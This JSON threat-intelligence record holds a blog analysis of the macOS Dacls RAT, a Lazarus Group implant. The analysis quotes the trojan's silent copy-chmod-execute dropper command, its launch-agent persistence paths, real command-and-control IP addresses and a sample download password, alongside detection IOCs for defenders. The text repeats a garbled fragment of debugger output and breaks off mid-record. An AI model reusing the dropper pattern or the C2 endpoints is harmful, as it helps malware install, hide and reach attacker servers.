{
	"id": "609052b0-154f-4612-97e9-d28973ef5134",
	"created_at": "2026-04-06T00:16:14.173455Z",
	"updated_at": "2026-04-10T13:12:30.939901Z",
	"deleted_at": null,
	"sha1_hash": "03f033b0c3227de6c972a5b1f51af489130779fd",
	"title": "The Dacls RAT ...now on macOS!",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4632430,
	"plain_text": "The Dacls RAT ...now on macOS!\r\nArchived: 2026-04-05 22:49:22 UTC\r\nThe Dacls RAT ...now on macOS!\r\ndeconstructing the mac variant of a lazarus group implant.\r\nby: Patrick Wardle / May 5, 2020\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n CleanMyMac X\r\n📝 👾 Want to play along?\r\nI’ve added the sample (‘OSX.Dacls’) to our malware collection (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nEarly today, the noted Mac Security researcher Phil Stokes tweeted about a “Suspected #Lazarus backdoor/RAT”:\r\n1. 899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53\r\n2. 846d8647d27a0d729df40b13a644f3bffdc95f6d0e600f2195c85628d59f1dc6\r\n— Phil Stokes ⫍🐠⫎ (@philofishal) May 5, 2020\r\nIn his tweet he noted various details about the malware and was kind enough to post hashes as well. Mahalo Phil\r\n(and Thomas Reed, who initially noticed the sample on VirusTotal)! 🙏\r\nAs noted in his tweet, current detections for both the malware’s disk image and payload are at 0% (though this is\r\nlikely to change as AV engines update the signature databases):\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 1 of 20\n\nThe Lazarus APT group (North Korea) is arguably to most prevalent (or perhaps just visible) APT group in the\r\nmacOS space. In fact the majority of my recent macOS malware blogs have been about their creations:\r\n“OSX.Yort”\r\n“Pass the AppleJeus”\r\n“Lazarus Group Goes ‘Fileless’”\r\nThough not remarkably sophisticated, they continue to evolve and improve their tradecraft.\r\nIn this blog post, we deconstruct the their macOS latest creation (a variant of the Dacls RAT) , highlighting its\r\ninstall logic, persistence mechanism, and capabilities! We’ll also highlights IOCs and generic methods of\r\ndetection.\r\nInstallation\r\nCurrently (at least to me), it is unknown how the Lazarus actors remotely infect macOS systems with this\r\nspecimen ( OSX.Dacls ). However as our analysis will show, the way the malware is packaged closely mimics\r\nLazarus group’s other attacks …which relied on social engineering efforts. Specifically, coercing macOS users to\r\ndownload and run trojanized applications:\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 2 of 20\n\nThanks to Phil’s tweet and hashes, we can find a copy of the attackers’ Apple Disk Image ( TinkaOTP.dmg ) on\r\nVirusTotal.\r\nTo extract the embedded files stored on the TinkaOTP.dmg we mount it via the hdiutil command:\r\n$ hdiutil attach TinkaOTP.dmg\r\n/dev/disk3 GUID_partition_scheme\r\n/dev/disk3s1 Apple_HFS /Volumes/TinkaOTP\r\n…which mounts it to /Volumes/TinkaOTP .\r\nListing the files in the TinkaOTP directory reveals an application ( TinkaOTP.app ) and an (uninteresting)\r\n.DS_Store file:\r\n$ ls -lart /Volumes/TinkaOTP/\r\ndrwxr-xr-x 3 patrick staff 102 Apr 1 16:11 TinkaOTP.app\r\n-rw-r--r--@ 1 patrick staff 6148 Apr 1 16:15 .DS_Store\r\nBoth appear to have a creation timestamp of April 1st.\r\nThe application, TinkaOTP.app is signed “adhoc-ly” (as the Lazarus group often does):\r\n$ codesign -dvvv /Volumes/TinkaOTP/TinkaOTP.app\r\nExecutable=/Volumes/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP\r\nIdentifier=com.TinkaOTP\r\nFormat=app bundle with Mach-O thin (x86_64)\r\nCodeDirectory v=20100 size=5629 flags=0x2(adhoc) hashes=169+5 location=embedded\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 3 of 20\n\nHash type=sha256 size=32\r\nCandidateCDHash sha1=8bd4b789e325649bafcc23f70bae0d1b915b67dc\r\nCandidateCDHashFull sha1=8bd4b789e325649bafcc23f70bae0d1b915b67dc\r\nCandidateCDHash sha256=4f3367208a1a6eebc890d020eeffb9ebf43138f2\r\nCandidateCDHashFull sha256=4f3367208a1a6eebc890d020eeffb9ebf43138f298580293df2851eb0c6be1aa\r\nHash choices=sha1,sha256\r\nCMSDigest=08dd7e9fb1551c8d893fac2193d8c4969a9bc08d4b7b79c4870263abaae8917d\r\nCMSDigestType=2\r\nCDHash=4f3367208a1a6eebc890d020eeffb9ebf43138f2\r\nSignature=adhoc\r\nInfo.plist entries=24\r\nTeamIdentifier=not set\r\nSealed Resources version=2 rules=13 files=15\r\nInternal requirements count=0 size=12\r\nThis also means that on modern versions of macOS (unless some exploit is first used to gain code execution on\r\nthe target system), the application will not (easily) run:\r\n \r\n📝 Jumping a bit ahead of ourselves, a report on the Windows/Linux version of this malware noted that it was\r\nuncovered along with a \"working payload for Confluence CVE-2019-3396\" and that researchers, \"speculated that\r\nthe Lazarus Group used the CVE-2019-3396 N-day vulnerability to spread the Dacls Bot program.\"\r\n…so, it is conceivable that macOS users were targeted by this (or similar) exploits.\r\nSource: Dacls, the Dual platform RAT.\r\nTinkaOTP.app is a standard macOS application:\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 4 of 20\n\nExamining its Info.plist file, illustrates that application’s binary (as specified in the CFBundleExecutable\r\nkey), is (unsurprisingly) named TinkaOTP :\r\n$ defaults read /Volumes/TinkaOTP/TinkaOTP.app/Contents/Info.plist\r\n{\r\n BuildMachineOSBuild = 19E266;\r\n CFBundleDevelopmentRegion = en;\r\n CFBundleExecutable = TinkaOTP;\r\n CFBundleIconFile = AppIcon;\r\n CFBundleIconName = AppIcon;\r\n CFBundleIdentifier = \"com.TinkaOTP\";\r\n CFBundleInfoDictionaryVersion = \"6.0\";\r\n CFBundleName = TinkaOTP;\r\n CFBundlePackageType = APPL;\r\n CFBundleShortVersionString = \"1.2.1\";\r\n CFBundleSupportedPlatforms = (\r\n MacOSX\r\n );\r\n CFBundleVersion = 1;\r\n DTCompiler = \"com.apple.compilers.llvm.clang.1_0\";\r\n DTPlatformBuild = 11B52;\r\n DTPlatformVersion = GM;\r\n DTSDKBuild = 19B81;\r\n DTSDKName = \"macosx10.15\";\r\n DTXcode = 1120;\r\n DTXcodeBuild = 11B52;\r\n LSMinimumSystemVersion = \"10.10\";\r\n LSUIElement = 1;\r\n NSHumanReadableCopyright = \"Copyright \\\\U00a9 2020 TinkaOTP. All rights reserved.\";\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 5 of 20\n\nNSMainNibFile = MainMenu;\r\n NSPrincipalClass = NSApplication;\r\n}\r\nAs the value for the LSMinimumSystemVersion key is set to \"10.10\" the malicious application will execute on\r\nmacOS systems all the way back to OS X Yosemite .\r\nNow, let’s take a closer look at the TinkaOTP binary (which will be executed if the user (successfully) launches\r\nthe application). As expected, it’s a 64-bit Mach-O binary:\r\n$ file TinkaOTP.app/Contents/MacOS/TinkaOTP\r\nTinkaOTP.app/Contents/MacOS/TinkaOTP: Mach-O 64-bit executable x86_64\r\nBefore hopping into a disassembler or debugger, I like to just run the malware is a virtual machine (VM), and\r\nobserve its actions via process, file, and network. This can often shed valuable insight into the malware actions\r\nand capabilities, which in turn can guide further analysis focus.\r\nFiring up these analysis tools, and running TinkaOTP.app quickly reveals its installation logic. Specifically the\r\nProcessMonitor records the following:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"signing info (computed)\" : {\r\n \"signatureID\" : \"com.apple.cp\",\r\n \"signatureStatus\" : 0,\r\n \"signatureSigner\" : \"Apple\",\r\n \"signatureAuthorities\" : [\r\n \"Software Signing\",\r\n \"Apple Code Signing Certification Authority\",\r\n \"Apple Root CA\"\r\n ]\r\n },\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"cp\",\r\n \"/Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib\",\r\n \"/Users/user/Library/.mina\"\r\n ],\r\n \"ppid\" : 863,\r\n \"ancestors\" : [\r\n 863\r\n ],\r\n \"path\" : \"/bin/cp\",\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 6 of 20\n\n\"signing info (reported)\" : {\r\n \"teamID\" : \"(null)\",\r\n \"csFlags\" : 603996161,\r\n \"signingID\" : \"com.apple.cp\",\r\n \"platformBinary\" : 1,\r\n \"cdHash\" : \"D2E8BBC6DB07E2C468674F829A3991D72AA196FD\"\r\n },\r\n \"pid\" : 864\r\n },\r\n \"timestamp\" : \"2020-05-06 00:16:52 +0000\"\r\n}\r\nThis output shows bash being spawned by TinkaOTP.app with the following arguments:\r\ncp\r\n/Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib\r\n/Users/user/Library/.mina\r\n…in other words, the malware is copying the Base.lproj/SubMenu.nib file (from the application’s Resources\r\ndirectory) to the user’s Library directory (as the “hidden” file: .mina ).\r\nThe process monitor then shows TinkaOTP.app setting the executable bit on the .mina file (via chmod +x\r\n/Users/user/Library/.mina ), before executing it:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"signing info (computed)\" : {\r\n \"signatureStatus\" : -67062\r\n },\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"/Users/user/Library/.mina\"\r\n ],\r\n \"ppid\" : 863,\r\n \"ancestors\" : [\r\n 863\r\n ],\r\n \"path\" : \"/Users/user/Library/.mina\",\r\n \"signing info (reported)\" : {\r\n \"teamID\" : \"(null)\",\r\n \"csFlags\" : 0,\r\n \"signingID\" : \"(null)\",\r\n \"platformBinary\" : 0,\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 7 of 20\n\n\"cdHash\" : \"0000000000000000000000000000000000000000\"\r\n },\r\n \"pid\" : 866\r\n },\r\n \"timestamp\" : \"2020-05-06 00:16:53 +0000\"\r\n}\r\nA partial sequence of these commands is hardcoded directly in the TinkaOTP.app ’s binary:\r\nHopping into a disassembler (I use Hopper), we can track down code (invoked via the\r\napplicationDidFinishLaunching method), responsible for executing said command:\r\n 1;TinkaOTP.AppDelegate.applicationDidFinishLaunching(Foundation.Notification)\r\n 2\r\n 3r13 = *direct field offset for TinkaOTP.AppDelegate.btask : __C.NSTask;\r\n 4rdx = __C.NSString(0x7361622f6e69622f, 0xe900000000000068);\r\n 5\r\n 6...\r\n 7\r\n 8[r15 setLaunchPath:rdx];\r\n 9\r\n10...\r\n11\r\n12[r15 setArguments:...];\r\n13\r\n14[*(var_30 + var_68) launch];\r\nThe decompilation is rather ugly (as TinkaOTP.app is written in Swift), but in short the malware is invoking the\r\ninstallation commands ( cp ... ) via Apple’s NSTask API.\r\nWe can confirm this via a debugger ( lldb ), by setting a breakpoint on the call to [NSTask launch] (at address\r\n0x10001e30b ) and querying the NSTask object to view its launch path, and arguments:\r\n(lldb) b 0x000000010001e30b\r\nBreakpoint 6: where = TinkaOTP`TinkaOTP.AppDelegate.applicationDidFinishLaunching\r\n(lldb) c\r\nProcess 899 resuming\r\nProcess 899 stopped\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 8 of 20\n\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1\r\n(lldb) po $rdi\r\n(lldb) po [$rdi arguments]\r\n(\r\n -c,\r\n cp /Volumes/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib\r\n ~/Library/.mina \u003e /dev/null 2\u003e\u00261 \u0026\u0026 chmod +x ~/Library/.mina \u003e /dev/null 2\u003e\u00261 \u0026\u0026\r\n ~/Library/.mina \u003e /dev/null 2\u003e\u00261\r\n)\r\n(lldb) po [$rdi launchPath]\r\n/bin/bash\r\nPersistence\r\nWe now turn our attention to SubMenu.nib , which was installed as ~/Library/.mina .\r\nIt’s a standard Mach-O executable:\r\n$ file TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib\r\nTinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib: Mach-O 64-bit executable x86_64\r\nAs there turned out to be a bug in the code (ha!), we’re going to start our analysis in the disassembler at the\r\nmalware’s main function. First we noted a (basic) anti-disassembly/obfuscation technique, where strings are\r\ndynamically built manually (via hex constants):\r\nIn Hopper, via Shift+R we can covert the hex to ascii:\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 9 of 20\n\n…which reveals a path: /Library/LaunchAgents/com.aex.lop.agent.plist\r\nHowever, the malware author(s) also left this string directly embedded in the binary:\r\nWithin the disassembly of the main function, we also find an embedded property list:\r\nSeems reasonable to assume that the malware will persist itself as a launch agent. And in fact, it tries to! However,\r\nif the ~/Library/LaunchAgent directory does not exists (which it does not on default install of macOS), the\r\npersistence will fail.\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 10 of 20\n\nSpecifically, the malware invokes the fopen function (with the +w option) on\r\n/Library/LaunchAgents/com.aex.lop.agent.plist …which will error out if any directories in the path don’t\r\nexist.\r\nThis can be confirmed in a debugger:\r\n$ lldb ~/Library/.mina\r\n//break at the call to fopen()\r\n(lldb) 0x10000b6e8\r\n(lldb) c\r\nProcess 920 stopped\r\n.mina`main:\r\n-\u003e 0x10000b6e8 \u003c+376\u003e: callq 0x100078f66 ; symbol stub for: fopen\r\n 0x10000b6ed \u003c+381\u003e: testq %rax, %rax\r\n 0x10000b6f0 \u003c+384\u003e: je 0x10000b711 ; \u003c+417\u003e\r\n 0x10000b6f2 \u003c+386\u003e: movq %rax, %rbx\r\nTarget 0: (.mina) stopped.\r\n//print arg_0\r\n// this is the path\r\n(lldb) x/s $rdi\r\n0x7ffeefbff870: \"/Users/user/Library/LaunchAgents/com.aex-loop.agent.plist\"\r\n//step over call\r\n(lldb) ni\r\n//fopen() fails\r\n(lldb) reg read $rax\r\nrax = 0x0000000000000000\r\n…I guess writing malware can be tough! :P\r\nIf we manually create the ~/Library/LaunchAgent directory, the call to fopen succeeds and the malware will\r\nhappily persist. Specifically, it formats the embedded property list (dynamically adding in the path to itself), which\r\nis then written out to com.aex-loop.agent.plist :\r\n$ lldb ~/Library/.mina\r\n(lldb) 0x100078f72\r\n(lldb) c\r\nProcess 930 stopped\r\n.mina`main:\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 11 of 20\n\n-\u003e 0x10000b704 \u003c+404\u003e: callq 0x100078f72 ; symbol stub for: fprintf\r\n 0x10000b709 \u003c+409\u003e: movq %rbx, %rdi\r\n 0x10000b70c \u003c+412\u003e: callq 0x100078f4e ; symbol stub for: fclose\r\n 0x10000b711 \u003c+417\u003e: movq %r12, %rdi\r\nTarget 0: (.mina) stopped.\r\n//print arg_1\r\n// this is the format string\r\n(lldb) x/s $rsi\r\n0x10007da69: \"\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\r\\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1\r\n//print arg_2\r\n// this is the format data (path to self)\r\n(lldb) x/s $rdx\r\n0x101000000: \"/Users/user/Library/.mina\"\r\nOur FileMonitor passively observers this:\r\n# FileMonitor/Contents/MacOS/FileMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"file\" : {\r\n \"destination\" : \"/Users/user/Library/LaunchAgents/com.aex-loop.agent.plist\",\r\n \"process\" : {\r\n \"signing info (computed)\" : {\r\n \"signatureStatus\" : -67062\r\n },\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n ],\r\n \"ppid\" : 932,\r\n \"ancestors\" : [\r\n 932,\r\n 909,\r\n 905,\r\n 904,\r\n 820,\r\n 1\r\n ],\r\n \"path\" : \"/Users/user/Library/.mina\",\r\n \"signing info (reported)\" : {\r\n \"teamID\" : \"(null)\",\r\n \"csFlags\" : 0,\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 12 of 20\n\n\"signingID\" : \"(null)\",\r\n \"platformBinary\" : 0,\r\n \"cdHash\" : \"0000000000000000000000000000000000000000\"\r\n },\r\n \"pid\" : 931\r\n }\r\n },\r\n \"timestamp\" : \"2020-05-06 01:14:18 +0000\"\r\n}\r\nAs the value for the RunAtLoad key is set to true the malware will be automatically (re)started by macOS each\r\ntime the system is rebooted (and the user logs in).\r\n📝 If the malware finds itself running with root privileges it will persist to:\r\n/Library/LaunchDaemons/com.aex-loop.agent.plist\r\nOk, so now we understand how the malware persists, let’s briefly discuss its capabilities.\r\nCapabilities\r\nSo far we know that the trojanized TinkaOTP.app installs a binary to ~/Library/.mina , and persists it as a\r\nlaunch item.\r\n…but what does .mina actually do? The good news (for me as a somewhat lazy malware analyst), is that this has\r\nalready be answered!\r\nRunning the strings command on the .mina binary reveals some interesting, well, strings:\r\n$ strings -a ~/Library/.mina\r\nc_2910.cls\r\nk_3872.cls\r\nhttp:/\r\nPOST /%s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n/Library/Caches/com.apple.appstore.db\r\n/proc\r\n/proc/%d/task\r\n/proc/%d/cmdline\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 13 of 20\n\n/proc/%d/status\r\nwolfCrypt Operation Pending (would block / eagain) error\r\nwolfCrypt operation not pending error\r\nWhen analyzing an unknown malicious piece of software it’s (generally) a good idea to Google interesting strings,\r\nas this can turn up related files, or even better, previous analysis reports. Here we luck out, as the latter holds!\r\nThe c_2910.cls string matches on a report for a Lazarus Group cross-platform RAT named Dacls …and as\r\nwe’ll see other strings, and functionality (as well as input by other security researchers) confirm this.\r\n📝 The noted Mac Malware Analyst Thomas Reed, is (AFAIK) the first to identify this specimen, and note that it\r\nwas a “Mac variant of Dacls RAT”\r\nThe initial report on the Dacls RAT, was published in December 2019, by Netlab. Titled, “Dacls, the Dual\r\nplatform RAT”, it comprehensively covers both the Windows and Linux variants of this RAT (as well as notes,\r\n“we speculate that the attacker behind Dacls RAT is Lazarus Group”).\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 14 of 20\n\n…however there is no mention of a macOS variant! As such, this specimen appears to be the first macOS variant\r\nof Dacls (and thus also, this post, the first analysis)!\r\nAs noted, the Netlab report provides a thorough analysis of the RATs capabilities on Windows/Linux. As such, we\r\nwon’t duplicate said analysis, but instead will confirm that this specimen is indeed a macOS variant of Dacls , as\r\nwell as note a few macOS-specific nuances/IOCs.\r\nLooking at the disassembly of the malware’s main function, after the malware persists, it invokes a function\r\nnamed InitializeConfiguration :\r\n 1int InitializeConfiguration() {\r\n 2 rax = time(\u0026var_18);\r\n 3 srand(rax);\r\n 4 if (LoadConfig(_g_mConfig) != 0x0)\r\n 5 {\r\n 6 __bzero(_g_mConfig, 0x8e14);\r\n 7 rax = rand();\r\n 8\r\n 9 *(int32_t *)_g_mConfig = ((SAR((sign_extend_32(rax) * 0xffffffff80000081 \u003e\u003e 0x20)\r\n10 + sign_extend_32(rax), 0x17)) + ((sign_extend_32(rax) * 0xffffffff80000081 \u003e\u003e 0x20)\r\n11 + sign_extend_32(rax) \u003e\u003e 0x1f) - ((SAR((sign_extend_32(rax) * 0xffffffff80000081 \u003e\u003e 0x20)\r\n12 + sign_extend_32(rax), 0x17)) + ((sign_extend_32(rax) * 0xffffffff80000081 \u003e\u003e 0x20)\r\n13 + sign_extend_32(rax) \u003e\u003e 0x1f) \u003c\u003c 0x18)) + sign_extend_32(rax);\r\n14\r\n15 *0x10009c3c8 = 0x1343b8400030100;\r\n16 *(int32_t *)dword_10009c42c = 0x3;\r\n17\r\n18 mata_wcscpy(0x10009c430, u\"67.43.239.146:443\");\r\n19 mata_wcscpy(0x10009cc30, u\"185.62.58.207:443\");\r\n20 mata_wcscpy(0x10009d430, u\"185.62.58.207:443\");\r\n21 *(int32_t *)0x10009c3d0 = 0x2;\r\n22 rax = SaveConfig(_g_mConfig);\r\n23\r\n24 }\r\n25 else {\r\n26 rax = 0x0;\r\n27 }\r\n28 return rax;\r\n29}\r\nAfter seeding the random number generator, the malware invokes a function named LoadConfig . In short, the\r\nLoadConfig function attempts to load a configuration file from /Library/Caches/com.apple.appstore.db . If\r\nfound, it decrypts the configuration via a call to the AES_CBC_decrypt_buffer function. If the configuration is not\r\nfound, it returns a non-zero error.\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 15 of 20\n\nLooking at the code in InitializeConfiguration we can see that if LoadConfig fails (i.e. no configuration file\r\nis found), code within InitializeConfiguration will generate a default configuration, which is then saved via a\r\ncall to the SaveConfig function.\r\nWe can see three IP addresses (two unique) that are part of the default configuration: 67.43.239.146 and\r\n185.62.58.207 . These as the default command \u0026 control servers.\r\nReturning to the Netlab report, it states:\r\n“The Linux.Dacls Bot configuration file is stored at $HOME/.memcache, and the file content is 0x8E20\r\n+ 4 bytes. If Bot cannot find the configuration file after startup, it will use AES encryption to generate\r\nthe default configuration file based on the hard-coded information in the sample. After successful Bot\r\ncommunicates with C2, the configuration file will get updated.”\r\nIt appears the macOS variant of Dacls contains this same logic (albiet the config file is stored in\r\n/Library/Caches/com.apple.appstore.db ).\r\nThe Netlab researchers also breakdown the format of the configuration file (image credit: Netlab):\r\nDoes our macOS variant conform to this format? Yes it appears so:\r\n(lldb) x/i $pc\r\n-\u003e 0x100004c4c: callq 0x100004e20 ; SaveConfig(tagMATA_CONFIG*)\r\n(lldb) x/192xb $rdi\r\n0x10009c3c4: 0xcc 0x37 0x86 0x00 0x00 0x01 0x03 0x00\r\n0x10009c3cc: 0x84 0x3b 0x34 0x01 0x02 0x00 0x00 0x00\r\n0x10009c3d4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c3dc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c3e4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c3ec: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c3f4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c3fc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c404: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c40c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c414: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 16 of 20\n\n0x10009c41c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c424: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c42c: 0x03 0x00 0x00 0x00 0x36 0x00 0x37 0x00\r\n0x10009c434: 0x2e 0x00 0x34 0x00 0x33 0x00 0x2e 0x00\r\n0x10009c43c: 0x32 0x00 0x33 0x00 0x39 0x00 0x2e 0x00\r\n0x10009c444: 0x31 0x00 0x34 0x00 0x36 0x00 0x3a 0x00\r\n0x10009c44c: 0x34 0x00 0x34 0x00 0x33 0x00 0x00 0x00\r\n0x10009c454: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c45c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c464: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c46c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c474: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n0x10009c47c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\nThis means we can also extract the (build?) date from the default configuration (offset 0x8): 0x84 0x3b 0x34\r\n0x01 …which converts to 0x01343b84 -\u003e 20200324d (March 24th, 2020).\r\nThe Netlab report also highlights the fact that Dacls utilizes a modular plugin architecture:\r\n“[Dacls] uses static compilation to compile the plug-in and Bot code together. By sending different\r\ninstructions to call different plug-ins, various tasks can be completed.”\r\n…the report describes various plugins such as a file plugin, a process plugin, a test plugin, a “reverse P2P” plugin,\r\nand a “LogSend” plugin. The macOS variant of Dacls supports these plugins (and perhaps an addition one or\r\ntwo, i.e. SOCKS):\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 17 of 20\n\nAt this point, we can readily conclude that the specimen we’re analyzing is clearly a macOS variant of the Dacls\r\nimplant. Preliminary analysis and similarity to the Linux variant indicates this affords remote attackers the ability\r\nto fully control an infected system, and the implant supports the ability to:\r\nexecute system commands\r\nupload/download, read/write, delete files\r\nlisting, creating, terminating processes\r\nnetwork scanning\r\n“The main functions of …Dacls Bot include: command execution, file management, process\r\nmanagement, test network access, C2 connection agent, network scanning module.” -Netlab\r\nDetection\r\nThough OSX.Dacls is rather feature complete, it is trivial to detect via behavior-based tools …such as the free\r\nones, created by yours truly!\r\nFor example, BlockBlock readily detects the malware’s launch item persistence:\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 18 of 20\n\nWhile LuLu detects the malware’s unauthorized network communications to the attackers’ remote command \u0026\r\ncontrol server:\r\nFinally, KnockKnock can generically detect if a macOS system is infected with OSX.Dacls , by detecting it’s\r\nlaunch item persistence:\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 19 of 20\n\nTo manually detect OSX.Dacls look for the presence of the following files:\r\n~/Library/LaunchAgents/com.aex.lop.agent.plist\r\n/Library/LaunchDaemons/com.aex.lop.agent.plist\r\n/Library/Caches/com.apple.appstore.db\r\n~/Library/.mina\r\nIf you system is infected, as the malware provide complete command and control over an infected system, best to\r\nassume your 100% owned, and fully reinstall macOS!\r\nConclusion\r\nToday, we analyzed the macOS variant of OSX.Dacls , highlighting its installation logic, persistence mechanisms,\r\nand capabilities (noting the clear similarities to its Linux-version).\r\nThough it can be somewhat worrisome to see APT groups developing and evolving their macOS capabilities, our\r\nfree security tools can help thwart these threats …even with no a priori knowledge! ️ 😇\r\n❤️ Love these blog posts and/or want to support my research and tools?\r\nYou can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x57.html\r\nhttps://objective-see.com/blog/blog_0x57.html\r\nPage 20 of 20\n\n-\u003e 0x100004c4c: (lldb) x/192xb callq $rdi 0x100004e20 ; SaveConfig(tagMATA_CONFIG*)\n0x10009c3c4: 0xcc 0x37 0x86 0x00 0x00 0x01 0x03 0x00\n0x10009c3cc: 0x84 0x3b 0x34 0x01 0x02 0x00 0x00 0x00\n0x10009c3d4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c3dc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c3e4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c3ec: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c3f4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c3fc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c404: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c40c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x10009c414: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n   Page 16 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x57.html"
	],
	"report_names": [
		"blog_0x57.html"
	],
	"threat_actors": [
		{
			"id": "34eea331-d052-4096-ae03-a22f1d090bd4",
			"created_at": "2025-08-07T02:03:25.073494Z",
			"updated_at": "2026-04-10T02:00:03.709243Z",
			"deleted_at": null,
			"main_name": "NICKEL ACADEMY",
			"aliases": [
				"ATK3 ",
				"Black Artemis ",
				"COVELLITE ",
				"CTG-2460 ",
				"Citrine Sleet ",
				"Diamond Sleet ",
				"Guardians of Peace",
				"HIDDEN COBRA ",
				"High Anonymous",
				"Labyrinth Chollima ",
				"Lazarus Group ",
				"NNPT Group",
				"New Romanic Cyber Army Team",
				"Temp.Hermit ",
				"UNC577 ",
				"Who Am I?",
				"Whois Team",
				"ZINC "
			],
			"source_name": "Secureworks:NICKEL ACADEMY",
			"tools": [
				"Destover",
				"KorHigh",
				"Volgmer"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "544ecd2c-82c9-417c-9d98-d1ae395df964",
			"created_at": "2025-10-29T02:00:52.035025Z",
			"updated_at": "2026-04-10T02:00:05.408558Z",
			"deleted_at": null,
			"main_name": "AppleJeus",
			"aliases": [
				"AppleJeus",
				"Gleaming Pisces",
				"Citrine Sleet",
				"UNC1720",
				"UNC4736"
			],
			"source_name": "MITRE:AppleJeus",
			"tools": null,
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "732597b1-40a8-474c-88cc-eb8a421c29f1",
